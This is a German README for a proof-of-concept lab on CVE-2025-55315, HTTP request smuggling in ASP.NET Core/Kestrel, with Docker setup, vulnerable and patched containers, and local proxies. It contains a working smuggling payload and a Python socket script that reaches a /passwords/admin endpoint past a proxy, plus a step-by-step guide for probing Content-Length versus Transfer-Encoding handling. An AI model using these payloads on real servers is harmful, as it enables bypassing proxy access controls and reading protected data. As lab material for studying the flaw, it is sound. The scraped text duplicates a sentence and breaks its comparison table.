
Proof-of-Concept-Exploit für CVE-2025-55315 (.NET HTTP Request Smuggling). Zeigt, wie falsch geparste Chunked-Encoding es Angreifern ermöglicht, Anfragen an Proxys und Load Balancern in verwundbaren ASP.NET Core/Kestrel-Servern vorbeizuschmuggeln.
Proof-of-concept Exploit für CVE-2025-55315 (.NET HTTP Request Smuggling). Zeigt, wie fehlerhaft geparste Chunked-Encoding es Angreifern ermöglicht, Requests an Proxys und Load Balancern in verwundbaren ASP.NET Core/Kestrel-Servern vorbeizuschmuggeln.
Interaktive Prezi-Präsentation anzeigen
🎥 Klicken Sie auf das obige Badge, um die vollständige interaktive Präsentation auf Prezi anzusehen.
Dockerfile.vulnerable - Verwendet .NET 10.0.100-rc.1 (anfällig für CVE-2025-55315)Dockerfile.patched - Verwendet .NET 10.0.100 (gepatchte Version)Hinweis: Die Schwachstelle liegt im HTTP-Parser der .NET-Laufzeit (Kestrel), nicht im Anwendungscode. Beide Versionen verwenden identischen Quellcode, aber unterschiedliche .NET-Laufzeitversionen.
# Build and run all services
docker-compose up --build
# Access the services
# Unsafe API: http://localhost:5001
# Safe API: http://localhost:5002
# Python Proxy (exploit): http://localhost:5027
# YARP Proxy (load balancing): http://localhost:5028
Siehe DOCKER.md für detaillierte Docker-Nutzungsanweisungen.
Der Python-Proxy demonstriert CVE-2025-55315, indem er Content-Length gegenüber Transfer-Encoding bevorzugt, was HTTP-Request-Smuggling ermöglicht:
payload = (
"POST /passwords HTTP/1.1\r\n"
"Host: localhost:5027\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
"2;\n"
"xx\r\n"
"39\r\n"
"0\r\n"
"\r\n"
"GET /passwords/admin HTTP/1.1\r\n"
"Host: localhost:5001\r\n"
"\r\n"
"0\r\n"
"\r\n"
)
import socket
import time
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(('localhost', 5027))
s.sendall(payload.encode())
# Read all available data
s.settimeout(2.0)
responses = b''
try:
while True:
chunk = s.recv(4096)
if not chunk:
break
responses += chunk
except socket.timeout:
pass
print("=== Complete Response ===")
print(responses.decode('utf-8', errors='ignore'))
print("\n=== Checking for smuggled request response ===")
if b'/passwords/admin' in responses or b'admin' in responses:
print("✓ Successfully smuggled request to /passwords/admin!")
else:
print("✗ Exploit failed or blocked")
Dieser Payload schmuggelt einen zweiten Request an /passwords/admin an der Sicherheitsprüfung des Proxys vorbei, indem er die Diskrepanz ausnutzt, wie Proxy und Backend-Server den Request parsen.
So interpretieren Proxy und Backend-Server denselben Payload unterschiedlich:
|
PROXY-INTERPRETATION (Akzeptiert
|
BACKEND-INTERPRETATION (Lehnt
|
Wesentliche Unterschiede:
| Komponente | Chunk-Größe 2;\n | Gelesene Bytes | Was passiert |
|---|---|---|---|
| Proxy | ✅ Gültige Chunk-Größe | 2 Bytes (xx) | Behandelt 2;\n als vollständigen Chunk-Header, liest 2 Bytes, fährt mit nächstem Chunk fort |
| Backend | ❌ Ungültiges Zeilenende | Liest immer noch als 2-Byte-Chunk | Chunk-Header endet erst bei xx\r\n, daher wird 39 zum Chunk-Body, 0 beendet den Chunk |
Detaillierte Erklärung:
2;\n als gültige Chunk-Größenangabe (2 Bytes) → Liest xx als 2-Byte-Chunk-Body → Geht zum nächsten Chunk (39)\n als Zeilenende ab → Chunk-Größe ist immer noch 2, aber Header erstreckt sich über 2;\nxx\r\n → Liest 39 als Teil des Chunk-Bodys → 0\r\n beendet den ChunkGET /passwords/admin-Request ist in dem versteckt, was der Backend als Chunk-Daten betrachtet, wird aber nach Abschluss der Chunk-Verarbeitung als separater Request geparst.Der geschmuggelte GET /passwords/admin-Request ist in dem versteckt, was der Proxy für Chunk-Body-Daten hält, aber der Backend parst ihn als separaten HTTP-Request.
Vor dem Ausnutzen müssen Sie identifizieren, welchen HTTP-Header (Content-Length oder Transfer-Encoding) verschiedene Komponenten bevorzugen. Hier ist eine Schritt-für-Schritt-Anleitung:
Senden Sie einen Request mit beiden Headern Content-Length und Transfer-Encoding: chunked, um zu sehen, welchen jede Komponente respektiert:
POST /passwords HTTP/1.1\r\n
Host: localhost:5001\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
6\r\n
Fabian\r\n
0\r\n
\r\n
Analyse:
Content-LengthTransfer-EncodingTesten Sie alle Komponenten Ihrer Architektur, um Abweichungen zu finden:
# Using Python
import socket
test_payload = (
"POST /passwords HTTP/1.1\r\n"
"Host: localhost:5001\r\n"
"Transfer-Encoding: chunked\r\n"
"Content-Length: 2\r\n"
"\r\n"
"6\r\n"
"Fabian\r\n"
"0\r\n"
"\r\n"
)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(('localhost', 5001))
s.sendall(test_payload.encode())
s.settimeout(1.0)
try:
response = s.recv(4096)
print("Unsafe API Response:", response.decode('utf-8', errors='ignore'))
except socket.timeout:
pass
# Change port to 5002 and test
# Safe API should handle the conflict properly